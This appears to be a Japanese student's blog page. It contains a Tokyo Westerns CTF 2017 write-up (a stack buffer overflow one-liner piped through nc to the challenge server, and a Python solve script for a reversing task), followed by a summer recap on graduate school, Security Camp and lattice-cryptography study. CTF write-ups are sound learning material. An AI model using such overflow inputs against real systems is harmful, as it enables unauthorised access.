1日ひとつだけ強くなる

おべんきょうのーと

Tokyo Westerns CTF 3rd 2017 writeup

はじめに

2日間大学の集中講義でJAISTにいたので一人でゆっくり参加しようと思ったが、バイト先の先輩同期でチーム組んで参加してた。

チームiで得点は146点、180位だった。うちWelcome!とrev_rev_revとjust do it!を解いて59点入れた。精進したい。

pwn warmup: just do it!

pwnのwarmup問題。実行するとパスワードを聞かれる。0x20バイトだけfgets()で読んでいるが、スタックに間違った時にputs()で表示される文字列が積んであり、スタックに積まれたバッファのアドレスと0x14バイトしかない。また、bssセクションを読むとflagという領域があって、どうやらグローバル変数flagにフラグの内容を書き込んでいるっぽい。なので、0x14バイト+flagのアドレスを入力すればいい。

> python -c "print 'A'*0x14 + '\x80\xa0\x04\x08'" | nc pwn1.chal.ctf.westerns.tokyo 12482
Welcome my secret service. Do you know the password?
Input the password.
TWCTF{pwnable_warmup_I_did_it!}

rev warmup: rev_rev_rev

アセンブルしたものを読むと、1つ目の関数は文字列の長さ取得、2つめは文字列を逆順に変換、3つめは入力文字1バイト(c)ずつに対して以下の処理

c = ((c & 0x55) << 1) | ((c >> 1) & 0x55)
c = ((c & 0x33) << 2) | ((c >> 2) & 0x33)
c = ((c & 0xFF) << 4) | ((c >> 4) & 0xFF)

4つめはちゃんとデコンパイルしてないけど、途中3つ目の関数デコンパイルして4つ目の関数調べてる最中に、1バイトずつ処理してる上に他の入力に依存しないじゃん!と思って、全部の文字を変換してみた。出力はltrace使うと見れる上、strcmp()で比較している文字も確認できる。pythonに渡して脳死スクリプト書いたらフラグが降ってきた。

# -*- coding:utf-8 -*-

s = 'abcdefghijklmnopqrstuvwxyz'
s_k = "\241a\341\021\221Q\3211\261q\361\t\211I\311)\251i\351\031\231Y\3319\271y"

dict = {}
for i in range(len(s)):
    dict[s_k[i]] = s[- i - 1]

S = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
S_k = "\245e\345\025\225U\3255\265u\365\r\215M\315-\255m\355\035\235]\335=\275}"

for i in range(len(S)):
    dict[S_k[i]] = S[- i - 1]

N = "~`!@#$%^&*()_+1234567890-="
N_k = "CK\363c\343\023\223S\3233\263s+\005k\353\253\233\205[\333;\375{\371\201"

for i in range(len(S)):
    dict[N_k[i]] = N[- i - 1]

flag = ''
flag_k = "A)\331e\241\361\341\311\031\t\223\023\241\t\271I\271\211\335a1i\241\361q!\235\325=\025\325"

dict['A'] = '}'
dict['!'] = '{'

for i in range(31):
    flag += dict[flag_k[i]]

print(flag[::-1])
> python3 solve.py 
TWCTF{qpzisyDnbmboz76oglxpzYdk}

2017年の夏休み(8,9月)まとめ

学部での最後の夏休みが終わった。進路と近況報告、あとは備忘録的に8,9月のまとめ

8月

大学院に合格した

大学院に合格した。大阪大学情報科学研究科に進学が決まった。研究テーマはまだ決まってない

期末試験

院試の直後に情報系の学科の離散数学と暗号理論の期末試験があった。正直院試があったので直前1日しか勉強してないが、それまでの課題等は真面目にこなしていたので特段難しい問題はなかった。成績はBだったから、まぁそんなもんだろう。もっとがんばれたような気もするけどそれは今後頑張ればいいかと思った。どうせ専攻違う科目なので卒業要件には入らないし気にならない。

セキュリティ・キャンプ全国大会2017に参加した。

院試と期末が終わってからはセキュキャンの事前課題に追われていた。当日何してたかは以下のエントリを見て

hal0taso.hateblo.jp

katagaitai勉強会に参加した。

katagaitai CTF勉強会 #9 - 関東|easyに参加した。rev問実はまだ手をつけたまま復習が途中になっている。独自VM問題はVMの命令セットを解読するのにめちゃくちゃ気合がいるので、効率よく特徴をつかむことが必要かも知れない。

speakerdeck.com

9月

twctfに参加した。

twctfにバイト先の仲間と参加した。warmup2問くらいしか解けなかった。writeupはこちら。

hal0taso.hateblo.jp

ここで解けなかったpwnの3問も復習がまだ1問しかできていない。がんばる。

BasicSecCapがおわった

専攻外だけど履修してたBasicSecCapの講義が終了した。2,3日にはJAISTMathematicaを使って秘密分散の実装と、攻撃を行う演習に取り組んだ。BasicSecCapや離散数学と暗号理論の講義を通して、暗号や代数の基礎的なところを勉強することができてよかったと思う。正直これまで大学で受講した講義の中で満足度が一番高い講義だった。今考えると講義の演習でとけなかった問題とかは、どのみち勉強しないと行けないことだなぁと思った。頭良くなりたい。

具体的にはこんなプログラムが組まれているので、来年度以降で受講に興味ある人は調べてみるといいかも。

cy2sec.comm.eng.osaka-u.ac.jp

マルウェア解析の講義は一部toggeterでまとめました。来年はプログラム編成変わるので参考になるかわかりませんが。

togetter.com

バイト先のメンツでBBQをした

楽しかった。いい休日だった。リア充っぽかったけどそこにいたのは皆オタクでした。

研究テーマっぽいのが決まりそうになった

弊研究室の専門は数理最適化、統計、グラフ理論とかなんだが、耐量子暗号をすることになった。一応、調べてみると離散最適化の話との関連があったり、機械学習とも関連があったり。とはいえ、まだ基礎の勉強ばかりで離散幾何の本を進めるくらいしかしてないけど。実験系というよりは理論に近い分野だと思う。流行りの分野ではあるが、最近の話が多い。

正直今考えると学部3年のときはpracticalなことに取り組みたいと思っていたんだが、理論に近いことをすることになるとは思わかなった。感化されやすい人間なので、研究室に理論つよい人がいたというのはとても大きい要因だと思う。

サーベイ読み始めた

完全に出遅れ感あるが、大学院進学前提の大学はこんなもんだろうと思い聞かせている。90ページくらいある去年にでたサーベイを読んでいる。今3章の基本的な問題を紹介する章までよんだ。4章は最近の研究に使われている基礎なので、そこまで理解できれば最近出ている論文も理解できるくらいになるだろう。最後の章にあるOpenQuestions読んだけどなにもわからないということがわかった。

A Decade of Lattice Cryptography (Foundations and Trends in Theoretical Computer Science)

A Decade of Lattice Cryptography (Foundations and Trends in Theoretical Computer Science)

Amazonで本も販売されているが、ググれば元のサーベイのpdfが出てくる。興味ある人は一読してみるといいかも知れない。

離散幾何学講義を読んだ

丸善の黄色い本。2章だけ読んで証明とか追ってみた。初学者向けなのでオススメ。

離散幾何学講義

離散幾何学講義

LLLアルゴリズム

LLLアルゴリズムの勉強と実装をしている。今は2次元の基底簡約まで理解したが、n次元への一般化のところやアルゴリズム多項式時間で停止することの証明を理解するのに苦しんでいる。 Pythonでnumpyとsympyをつかって2次元の基底簡約を行うアルゴリズムを実装したが、これはやるだけだった。Mathematicaだと行列演算が楽だったことを思い出し、Mathematica使いたくなった。sageでlllがビルトインで実装されているので、sageで実装してみて評価を行いたいと思っている。

バイト先でLTした

バイト先の十数名かで集まってLTをした。僕はリバーシング入門ということでハリネズミ本参考にしながらLTしようと思ったんだけど、そもそもバイナリを読む前の前提知識(仮想メモリとかレジスタとかスタックフレームとか)がたくさん必要なことに直前になって気づいた。入力を逆順にしてXORするだけの簡単なrev問書いたけどループ処理とかのとこまで話せなかった。20分とかでやるものじゃないなと思った。

久しぶりにガンプラ組んだ

何年ぶりかわからない。小学生か中学生のときにガンプラ組んだとこあった記憶はあるが、そのあとはまったくなかった。最近ガンダムを見始めたせいで、ガンプラを組みたい気持ちが高まり、RGダブルオーライザーを買ってきて素組とスミ入れまで完成させた。つや消しでフィニッシュしたかったが、最寄りの専門店になかったのでこんどヨドバシいったときにでも探しに行く予定。充実した休日になった。

まとめ

こうやって思い返すとこの2ヶ月何やってたか見えてくるので良いと思った。思ったより進捗は出てない気もする。8月は院試、期末、セキュキャンとあとBasicSecCapがほぼ毎週あった。9月は本一章読んで理解してサーベイを3章分読んだくらい。何もしてない気持ちがしてきた。最近はもっぱら暗号とか数学をしていて、PCでやることといえばスライド作るかtex書くだけみたいになってきた。進捗が出てきて落ち着いたら院試終わりのご褒美に買ったx86エミュの本とかやりたいしCTFをやりたい。

来月の目標(追記)

振り返りポエムを書くだけ書いて満足してしまっていた。来月やりたいことは以下のとおり

サーベイの4章まで読んで見る

とりあえず最近の動向を知るの大事

LWE格子暗号やRing-LWE格子暗号について勉強する

最近PQCryptoという耐量子暗号カンファレンスで、グローバーアルゴリズムを用いて基底簡約を行うLWEへの攻撃手法が発表されたらしく、それを読んでみたいと思っている

楕円曲線暗号

ところで量子コンピュータで実現されるShorのアルゴリズムによってRSA暗号が破られるというのは有名な話だが、なぜこのようなことが可能なのだろうか??それを理解するためには楕円曲線上での離散対数問題の理解が必要である。ということで勉強する。

量子コンピュータ

量子コンピュータを使ったアルゴリズムを理解し、構築するためには量子コンピュータについて学ばないと行けない。幸い、学ぶべきことははっきりしているし、量子力学ほど挙動を詳細に考えることでもないだろうと思っている。 勉強するのに慶応が出してる以下の講義動画を見ている。

www.youtube.com

このシリーズは全15回を通して量子コンピュータで何ができるのか?その基礎と応用について触れている。幸い、動画なのでご飯食べながらでも見ることができる。とてもいい時代になった。

TWCTFの復習

先程書いた。その周辺にもいい練習問題があるそうなので、それにも取り組む予定。欲をいえばpwnable.twとかも取り組んでいきたい。

katagaitaiでのrev問題(DonnBeach)の復習

これは正直めちゃくちゃ根気がいる気がする。独自VMを書いてみて、それを練習問題にしてみてもいいかも知れない。

x86エミュレータ

プラモ作ってて思ったけど、プラモデルも本も、書いてある手順通りにパーツを組み立てていくという過程は同じである。最初はよくわからないことも、全体像が見えてくる頃には、感覚がつかめているものである。まずは手を動かしてみることが大切ではないかと思う。

健康な生活を送る

最近ビタミンCのサプリを買った。自炊にしろ外食にしろ、一人暮らしだと十分な栄養を摂取することは難しい。去年は毎日キレートレモンを飲んでいたが、毎日あれ買ってたらコスパ悪いのでサプリ買ってみたので、健康に気をつける。

セキュリティ・キャンプ全国大会2017に参加した

はじめに

8/14〜8/18の5日間、セキュリティ・キャンプ全国大会2017に参加して来ました。

会場は府中刑務所の近くにあるクロスウェーブ府中というところです。

ご飯とか生活環境等の話は他の参加者がブログに書いてある通り、とてもいいです。大して特筆する点はないので割愛します。

公式のアカウントもご飯の写真とか呟いてるし、そういうの気になる人はそっちを見たらいいんじゃないでしょうか。

twitter.com

セキュリティ・キャンプってなに

www.ipa.go.jp

簡単にいうと、全国の22歳以下の学生が集まって情報セキュリティについて4泊5日学びます。

参加するには応募用紙を書いて合格すればいいです。いろんな人が応募用紙を公開しているので、調べれば出て来ます。僕のはこれです。

hal0taso.hateblo.jp

続きを読む

Raspberry pi zero Wでもシリアル通信がしたい!

はじめに

タイトルの通りです。

技適も取れて7月18日に発売が始まったraspberry pi zero wですが、せっかく本体が小さいのにモニターやキーボードなど、でかいインターフェースを使って操作するなんてやってられないと思います。そこで、シリアルコンソールからラズパイに接続したいと思いました。

ちなみに、シリアル接続するにはGPIOピンを自分ではんだ付けする必要があります。

続きを読む

Githubでhttpsを使っているのに403: Permission denied エラーが出た話

はじめに

gitを利用するすべての初心者に捧げます。

タイトルのとおりです。gitで利用している認証ヘルパーについての話があります。

続きを読む

セキュリティミニキャンプ神戸に参加してきた

はじめに

7/1にセキュリティミニキャンプ神戸に参加してきました。その内容と感想です。

続きを読む

PlaidCTF 2013: ropasaurusrex - 200 *Level1*

動機

先週末はgoogleCTF参加したんですが、EasyのInstProfではバイナリの解析してからが進めませんでした。

writeupを見たら限られた4バイトでROP組んでて、そういえばROPに苦手意識があったのを思い出した。

そこでkatagaitai勉強会の資料を一部参考にしながら、ropの問題を解いてみた。 なお、katagaitai資料にはLevel5まであり、まだLevel1しかとけていないのだが、これも順次解いてwriteupを上げていきたい。

speakerdeck.com

毎度ながらkatagaitaiの資料にはたくさん学ぶことがある….

続きを読む